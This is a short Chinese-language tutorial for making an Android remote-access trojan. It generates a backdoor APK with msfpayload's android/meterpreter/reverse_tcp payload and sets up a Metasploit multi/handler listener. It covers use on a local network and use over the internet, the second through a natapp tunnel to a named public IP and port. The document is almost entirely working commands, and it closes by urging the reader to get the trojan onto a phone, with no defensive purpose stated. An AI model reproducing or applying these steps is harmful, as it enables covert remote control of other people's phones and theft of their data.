1，内网木马
先生成一个小马
msfpayload -p android/meterpreter/reverse_tcp LHOST=192.168.8.104 LPORT=5555 R > android_backdoor.apk
ip填写自己的内网ip ，端口自定
启动 msfconsole
依次输入下面的命令
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.8.104
set lport 5555
启动监听 exploie
然后把木马整到手机里试试
2，外网木马
首先要内网穿透，本人使用natapp服务 。你在natapp官网注册好后获得一条免费隧道，添加tcp通道，端口号自定，例如2018，ip填127.0.0.1
在linux下首先下载natapp的客户端，然后再命令行内启动natapp 语句： ./natapp -authtoken=************ 后面的星号换成自己的口令
（如果提示权限不够 chmod a+x natapp ）
启动成功后可以看到下面图片
ping 一下第一个圈内的服务器 得到ip地址120.3.51.1 后面位端口号 34611
准备完成了
开始生成外网小马
msfpayload -p android/meterpreter/reverse_tcp LHOST=120.3.51.1 LPORT=34611 R > android_backdoor.apk
一定要注意ip和端口填服务器的
启动 msfconsole
依次输入下面的命令
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 2018
监听127.0.0.1：2018 （内网穿透相当于先将数据发给服务器，然后由服务器发给内网中的我们 ）
启动exploie
用你的电话卡流量试试看